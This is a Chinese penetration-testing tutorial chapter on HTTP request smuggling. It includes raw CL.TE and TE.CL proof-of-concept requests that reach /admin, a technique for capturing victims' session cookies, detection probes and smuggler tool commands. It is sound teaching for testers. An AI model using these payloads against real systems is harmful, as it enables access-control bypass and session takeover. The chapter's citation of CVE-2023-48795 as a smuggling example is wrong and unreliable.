第 67 章 HTTP 请求走私（Request Smuggling）

HTTP 请求走私（HRS）是"中间层（代理/负载均衡/CDN）与后端服务器对 HTTP 请求解析不一致"导致的攻击：把一段请求"走私"到后端，绕过前端的所有安全控制（认证/WAF/访问控制）。它是 2020-2025 年高危 Web 漏洞的常客（CVE-2023-48795 等）。

📍 知识点地图 | 主题：HTTP请求走私 | 前置：第58章 | 后续：第102章 | 核心概念：CL.TE/TE.CL、绕过WAF、缓存投毒

67.1 核心原理（先懂解析不一致）

正常路径:
  客户端 → 代理（CDN/WAF/LB）→ 后端服务器
  代理和后端都按同一规则解析请求 → 一个请求 = 一个请求

走私原理:
  代理和后端对"请求边界"的判断不同（Content-Length vs Transfer-Encoding）
  → 代理认为是一个请求，后端认为是两个
  → 第二个请求绕过代理的检查（认证/WAF）直接到达后端

经典根源: 两个 HTTP 头都出现
  Content-Length: 13（CL: 代理用的）
  Transfer-Encoding: chunked（TE: 后端用的）

67.2 五类走私技术（分类学）

技术	原理	特征
CL.TE	代理用 CL，后端用 TE	`Content-Length` + `Transfer-Encoding: chunked`
TE.CL	代理用 TE，后端用 CL	反过来
TE.TE	两端都支持 TE 但混淆处理	变体编码（`Transfer-Encoding : chunked`）
CL.CL	都支持 CL	重复 CL 头
TE.TE 混淆	一个头多种写法	大小写/空格/多值

67.3 CL.TE 详解（最经典）

原理与 PoC

代理用 Content-Length（认为一个请求）
后端用 Transfer-Encoding: chunked（按 chunk 解析 → 两个请求）

PoC:
POST / HTTP/1.1
Host: target.com
Content-Length: 13          ← 代理: 请求体 13 字节
Transfer-Encoding: chunked  ← 后端: 按 chunked 解析

0

GET /admin HTTP/1.1
Host: target.com
X-Ignore: X                  ← 走私的第二请求（后端执行，代理看不见！）

检测方法

发送带"延迟特征"的探测请求:
  POST / HTTP/1.1
  Host: target.com
  Content-Length: 4
  Transfer-Encoding: chunked

  5c
  GPOST / HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 15

  x=1
  0

  → 如果后端走私执行了 "GPOST"（无效方法 → 后端报错）
  → 下一个正常请求会看到响应错乱/延迟 → 确认走私

67.4 TE.CL 详解

代理用 Transfer-Encoding（按 chunked 解析）
后端用 Content-Length（只读声明的长度 → 剩余当作下一请求）

PoC:
POST / HTTP/1.1
Host: target.com
Content-Length: 3           ← 后端: 只读 3 字节
Transfer-Encoding: chunked  ← 代理: chunked

8
SMUGGLED
0

GET /admin HTTP/1.1
Host: target.com
X-Ignore: X

67.5 走私的危害（利用目标）

1. 绕过前端安全控制（最常用）

WAF/代理拦截 /admin → 走私进去的后端请求不经过 WAF
CDN 缓存投毒 → 给别人投毒响应

2. 绕过认证（请求重定向）

走私请求带有"已验证用户"的会话特征:
  先走私一个请求"占用"连接 → 下一个正常用户的请求被拼到后面
  → 攻击者的请求带着受害者的 Cookie 到达后端

经典手法（请求夹带/攻击者拼接）:
  POST / HTTP/1.1
  ...
  0

  GET /account HTTP/1.1
  Host: target.com
  Content-Length: 40

  → 受害者的下一个请求（含 Cookie）被走私到 GET /account 之后
  → 组合成受害者的请求 → 攻击者接管受害者的会话

3. 绕过访问控制（直接访问内部端点）

走私请求直连后端未暴露的接口:
  内部管理端点 /internal/admin（前端不路由，后端存在）
  → 走私访问 = 拿到内部功能

4. 缓存投毒（影响其他用户）

走私请求触发后端"缓存错误的响应" → CDN 缓存恶意内容 → 所有用户受害

5. WAF 绕过（白名单功能走私）

前端有"URL 白名单"（如只允许 /public）→ 走私非白名单路径到后端

67.6 检测与验证方法（实战）

方法 1：时序检测（最可靠）

发送走私探测（使后端连接挂起）→ 测量响应延迟:
  1. 发走私请求（含未闭合的 chunk/请求）
  2. 下一个正常请求响应延迟明显（被走私影响）→ 确认

工具: Burp 的 HTTP Request Smuggler 扩展（自动检测五种类型）

方法 2：响应错乱检测

走私一个"非法方法"请求（GPOST）→ 后端返回 400/505（但代理不知道）
→ 下一个请求的响应错乱 → 确认

方法 3：差异检测（对比前后端）

同一请求，直接连后端 vs 经代理 → 响应不同 → 解析差异存在

67.7 请求走私的工具链

# 1. Burp + HTTP Request Smuggler 扩展（自动检测+利用，首选）
# 2. 手工 PoC（Burp Repeater 逐个调试）
# 3. Smuggler（Python，批量检测）:
git clone https://github.com/defparam/smuggler
python3 smuggler.py -u https://target.com
# 4. 自动化扫描: nuclei 的 http-smuggling 模板

67.8 完整测试流程

1. 识别架构: 有代理/CDN/LB?（响应头/路由行为）
2. 确认解析引擎差异（CL/TE 支持情况）
3. 用 Burp Smuggler 跑五种技术检测
4. 确认后评估危害:
   □ 绕过 WAF/认证（哪个端点受益）
   □ 缓存投毒可能?
   □ 内部端点可达?
5. 最小化利用验证（点到即止）
6. 报告: 技术类型 + PoC + 影响

67.9 检查清单

□ 架构确认（代理/CDN/负载均衡）
□ 五种技术检测（CL.TE/TE.CL/TE.TE/CL.CL/混淆）
□ 时序检测验证
□ WAF 绕过评估
□ 认证绕过评估（请求夹带）
□ 内部端点访问
□ 缓存投毒评估
□ 报告: 技术类型+PoC+影响

动手练习

在本地搭代理+后端（如 nginx + 应用），配置解析差异，复现 CL.TE 走私。
用 Burp HTTP Request Smuggler 对一个练习环境自动检测五种类型。
手工构造一个 CL.TE PoC（含走私的 /admin 请求），观察后端行为。
分析一个公开的走私漏洞报告（PortSwigger 有大量案例），画出它的利用链。

深入阅读

仓库：CTF-Sandbox-Orchestrator/competition-request-normalization-smuggling/（请求走私 CTF 子技能）
仓库：CTF-Sandbox-Orchestrator/competition-runtime-routing/（路由/代理解析差异）
仓库：skills/pentest-tools/references/web-attack-cheatsheet.md（配合 Web 测试）
外部: PortSwigger 请求走私研究（权威）、HTTP Request Smuggler 扩展